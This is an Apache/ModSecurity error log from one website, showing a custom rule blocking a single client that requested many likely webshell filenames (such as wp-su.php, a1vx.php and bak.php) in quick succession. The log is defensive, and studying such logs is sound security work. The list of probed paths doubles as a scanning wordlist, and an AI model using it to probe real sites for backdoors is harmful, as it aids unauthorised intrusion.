[Sun Dec 07 22:52:31.090349 2025] [:error] [pid 5312:tid 5325] [client 4.190.185.215:30421] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aTWUr-aM49rasZGg_o4VGQAAAAs"]
[Sun Dec 07 22:52:32.648298 2025] [:error] [pid 9961:tid 9979] [client 4.190.185.215:32111] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aTWUsGQdnfbgcnzr89J_7wAAAVA"]
[Sun Dec 07 22:52:34.638481 2025] [:error] [pid 9961:tid 9966] [client 4.190.185.215:39219] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file52.php"] [unique_id "aTWUsmQdnfbgcnzr89J_8AAAAUM"]
[Sun Dec 07 22:52:36.843847 2025] [:error] [pid 9961:tid 9969] [client 4.190.185.215:35565] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file52.php"] [unique_id "aTWUtGQdnfbgcnzr89J_9QAAAUY"]
[Sun Dec 07 22:52:40.337027 2025] [:error] [pid 9610:tid 9615] [client 4.190.185.215:39201] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file52.php"] [unique_id "aTWUuMZ4Zl9G0UhQ7w1ScwAAAQM"]
[Sun Dec 07 22:52:41.551072 2025] [:error] [pid 5222:tid 5238] [client 4.190.185.215:36532] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file52.php"] [unique_id "aTWUud8FU0HgkYWmt7tTFQAAAEw"]
[Sun Dec 07 22:52:42.220002 2025] [:error] [pid 9961:tid 9983] [client 4.190.185.215:54595] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shop.php"] [unique_id "aTWUumQdnfbgcnzr89J_-wAAAVQ"]
[Sun Dec 07 22:52:44.238307 2025] [:error] [pid 5312:tid 5317] [client 4.190.185.215:54645] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shop.php"] [unique_id "aTWUvOaM49rasZGg_o4VIQAAAAM"]
[Sun Dec 07 22:52:44.616133 2025] [:error] [pid 9610:tid 9613] [client 4.190.185.215:29691] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shop.php"] [unique_id "aTWUvMZ4Zl9G0UhQ7w1SdgAAAQE"]
[Sun Dec 07 22:52:46.172137 2025] [:error] [pid 5222:tid 5236] [client 4.190.185.215:28366] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shop.php"] [unique_id "aTWUvt8FU0HgkYWmt7tTGgAAAEo"]
[Sun Dec 07 22:52:47.496080 2025] [:error] [pid 9961:tid 9978] [client 4.190.185.215:43254] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aTWUv2Qdnfbgcnzr89KACgAAAU8"]
[Sun Dec 07 22:52:48.572133 2025] [:error] [pid 9610:tid 9622] [client 4.190.185.215:29692] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aTWUwMZ4Zl9G0UhQ7w1SdwAAAQo"]
[Sun Dec 07 22:52:50.111251 2025] [:error] [pid 5222:tid 5239] [client 4.190.185.215:30977] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aTWUwt8FU0HgkYWmt7tTGwAAAE0"]
[Sun Dec 07 22:52:51.394294 2025] [:error] [pid 9961:tid 9967] [client 4.190.185.215:28394] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aTWUw2Qdnfbgcnzr89KADQAAAUQ"]
[Sun Dec 07 22:52:52.148324 2025] [:error] [pid 9961:tid 9986] [client 4.190.185.215:29653] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aTWUxGQdnfbgcnzr89KADgAAAVc"]
[Sun Dec 07 22:52:52.817219 2025] [:error] [pid 9961:tid 9977] [client 4.190.185.215:31027] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aTWUxGQdnfbgcnzr89KADwAAAU4"]
[Sun Dec 07 22:52:55.105968 2025] [:error] [pid 9961:tid 9965] [client 4.190.185.215:31022] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aTWUx2Qdnfbgcnzr89KAFgAAAUI"]
[Sun Dec 07 22:52:56.015480 2025] [:error] [pid 5223:tid 5268] [client 4.190.185.215:43200] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aTWUyPoRJa-T0FB0DNr-qwAAAI4"]
[Sun Dec 07 22:52:56.901761 2025] [:error] [pid 9961:tid 9977] [client 4.190.185.215:36536] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pn.php"] [unique_id "aTWUyGQdnfbgcnzr89KAGwAAAU4"]
[Sun Dec 07 22:54:42.363825 2025] [:error] [pid 9961:tid 9986] [client 4.190.185.215:36450] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aTWVMmQdnfbgcnzr89KBBgAAAVc"]
[Sun Dec 07 22:54:43.999657 2025] [:error] [pid 5223:tid 5272] [client 4.190.185.215:30356] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aTWVM_oRJa-T0FB0DNr-3gAAAJI"]
[Sun Dec 07 22:54:45.237720 2025] [:error] [pid 5223:tid 5264] [client 4.190.185.215:54542] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aTWVNfoRJa-T0FB0DNr-3wAAAIo"]
[Sun Dec 07 22:54:46.868210 2025] [:error] [pid 9610:tid 9625] [client 4.190.185.215:39040] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aTWVNsZ4Zl9G0UhQ7w1TGAAAAQ0"]
[Sun Dec 07 22:54:50.381997 2025] [:error] [pid 5222:tid 5241] [client 4.190.185.215:30387] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dlu.php"] [unique_id "aTWVOt8FU0HgkYWmt7tTaAAAAE8"]
[Sun Dec 07 22:54:50.756663 2025] [:error] [pid 5312:tid 5338] [client 4.190.185.215:42670] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dlu.php"] [unique_id "aTWVOuaM49rasZGg_o4VcgAAABg"]
[Sun Dec 07 22:54:52.192232 2025] [:error] [pid 9961:tid 9976] [client 4.190.185.215:5333] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dlu.php"] [unique_id "aTWVPGQdnfbgcnzr89KBFAAAAU0"]
[Sun Dec 07 22:54:53.921908 2025] [:error] [pid 9961:tid 9970] [client 4.190.185.215:39069] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dlu.php"] [unique_id "aTWVPWQdnfbgcnzr89KBFwAAAUc"]
[Sun Dec 07 22:54:55.676938 2025] [:error] [pid 9961:tid 9964] [client 4.190.185.215:5559] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dds.php"] [unique_id "aTWVP2Qdnfbgcnzr89KBGAAAAUE"]
[Sun Dec 07 22:54:57.824306 2025] [:error] [pid 5223:tid 5257] [client 4.190.185.215:31793] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dds.php"] [unique_id "aTWVQfoRJa-T0FB0DNr-5wAAAIM"]
[Sun Dec 07 22:54:58.880088 2025] [:error] [pid 5223:tid 5261] [client 4.190.185.215:44511] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dds.php"] [unique_id "aTWVQvoRJa-T0FB0DNr-6AAAAIc"]
[Sun Dec 07 22:54:59.677303 2025] [:error] [pid 9610:tid 9614] [client 4.190.185.215:28949] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dds.php"] [unique_id "aTWVQ8Z4Zl9G0UhQ7w1TJwAAAQI"]
[Sun Dec 07 22:55:01.389992 2025] [:error] [pid 5222:tid 5238] [client 4.190.185.215:53980] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/NH19T66T.php"] [unique_id "aTWVRd8FU0HgkYWmt7tTfAAAAEw"]
[Sun Dec 07 22:55:01.919894 2025] [:error] [pid 5222:tid 5244] [client 4.190.185.215:22996] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/NH19T66T.php"] [unique_id "aTWVRd8FU0HgkYWmt7tTfgAAAFI"]
[Sun Dec 07 22:55:02.682899 2025] [:error] [pid 5222:tid 5226] [client 4.190.185.215:22963] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/NH19T66T.php"] [unique_id "aTWVRt8FU0HgkYWmt7tTgQAAAEA"]
[Sun Dec 07 22:55:03.396625 2025] [:error] [pid 5222:tid 5247] [client 4.190.185.215:5920] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/NH19T66T.php"] [unique_id "aTWVR98FU0HgkYWmt7tTgwAAAFU"]
[Sun Dec 07 22:55:04.356070 2025] [:error] [pid 5224:tid 5305] [client 4.190.185.215:28974] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ad24f.php"] [unique_id "aTWVSPAAkbWt7RJBoF_9FQAAANg"]
[Sun Dec 07 22:55:05.169527 2025] [:error] [pid 5224:tid 5293] [client 4.190.185.215:38214] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ad24f.php"] [unique_id "aTWVSfAAkbWt7RJBoF_9FgAAAMw"]
[Sun Dec 07 22:55:06.416288 2025] [:error] [pid 5223:tid 5264] [client 4.190.185.215:28336] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ad24f.php"] [unique_id "aTWVSvoRJa-T0FB0DNr-7gAAAIo"]
[Sun Dec 07 22:55:07.069641 2025] [:error] [pid 9610:tid 9615] [client 4.190.185.215:5921] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ad24f.php"] [unique_id "aTWVS8Z4Zl9G0UhQ7w1TKgAAAQM"]
[Sun Dec 07 22:55:08.105198 2025] [:error] [pid 5222:tid 5245] [client 4.190.185.215:24431] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aTWVTN8FU0HgkYWmt7tThQAAAFM"]
[Sun Dec 07 22:55:08.869345 2025] [:error] [pid 5312:tid 5326] [client 4.190.185.215:42258] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aTWVTOaM49rasZGg_o4VgQAAAAw"]
[Sun Dec 07 22:55:09.752677 2025] [:error] [pid 9610:tid 9633] [client 4.190.185.215:42285] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aTWVTcZ4Zl9G0UhQ7w1TMwAAARU"]
[Sun Dec 07 22:55:10.416619 2025] [:error] [pid 5223:tid 5270] [client 4.190.185.215:5949] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aTWVTvoRJa-T0FB0DNr-8wAAAJA"]
[Sun Dec 07 22:55:11.765856 2025] [:error] [pid 5312:tid 5315] [client 4.190.185.215:35597] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sec.php"] [unique_id "aTWVT-aM49rasZGg_o4VhQAAAAE"]
[Sun Dec 07 22:55:13.089311 2025] [:error] [pid 9961:tid 9981] [client 4.190.185.215:24427] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sec.php"] [unique_id "aTWVUWQdnfbgcnzr89KBHQAAAVI"]
[Sun Dec 07 22:55:13.736804 2025] [:error] [pid 5223:tid 5256] [client 4.190.185.215:46386] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sec.php"] [unique_id "aTWVUfoRJa-T0FB0DNr-9QAAAII"]
[Sun Dec 07 22:55:15.180525 2025] [:error] [pid 5222:tid 5232] [client 4.190.185.215:39039] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sec.php"] [unique_id "aTWVU98FU0HgkYWmt7tTkwAAAEY"]
[Sun Dec 07 22:55:16.189914 2025] [:error] [pid 5224:tid 5282] [client 4.190.185.215:39021] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-su.php"] [unique_id "aTWVVPAAkbWt7RJBoF_9JQAAAME"]
[Sun Dec 07 22:55:17.302744 2025] [:error] [pid 9961:tid 9982] [client 4.190.185.215:42274] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-su.php"] [unique_id "aTWVVWQdnfbgcnzr89KBIwAAAVM"]
[Sun Dec 07 22:55:18.173304 2025] [:error] [pid 9961:tid 9969] [client 4.190.185.215:44416] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-su.php"] [unique_id "aTWVVmQdnfbgcnzr89KBJAAAAUY"]
[Sun Dec 07 22:55:19.199033 2025] [:error] [pid 9961:tid 9963] [client 4.190.185.215:42262] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-su.php"] [unique_id "aTWVV2Qdnfbgcnzr89KBJQAAAUA"]
[Sun Dec 07 22:55:20.283842 2025] [:error] [pid 9961:tid 9987] [client 4.190.185.215:39029] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bak.php"] [unique_id "aTWVWGQdnfbgcnzr89KBKgAAAVg"]
[Sun Dec 07 22:55:22.355917 2025] [:error] [pid 5224:tid 5286] [client 4.190.185.215:32828] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bak.php"] [unique_id "aTWVWvAAkbWt7RJBoF_9KwAAAMU"]
[Sun Dec 07 22:55:23.984982 2025] [:error] [pid 9961:tid 9969] [client 4.190.185.215:35343] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bak.php"] [unique_id "aTWVW2Qdnfbgcnzr89KBMQAAAUY"]
[Sun Dec 07 22:55:25.086458 2025] [:error] [pid 9610:tid 9615] [client 4.190.185.215:44008] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bak.php"] [unique_id "aTWVXcZ4Zl9G0UhQ7w1TOAAAAQM"]
[Sun Dec 07 22:55:26.033810 2025] [:error] [pid 5222:tid 5233] [client 4.190.185.215:5807] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/JPG.php"] [unique_id "aTWVXt8FU0HgkYWmt7tTlQAAAEc"]
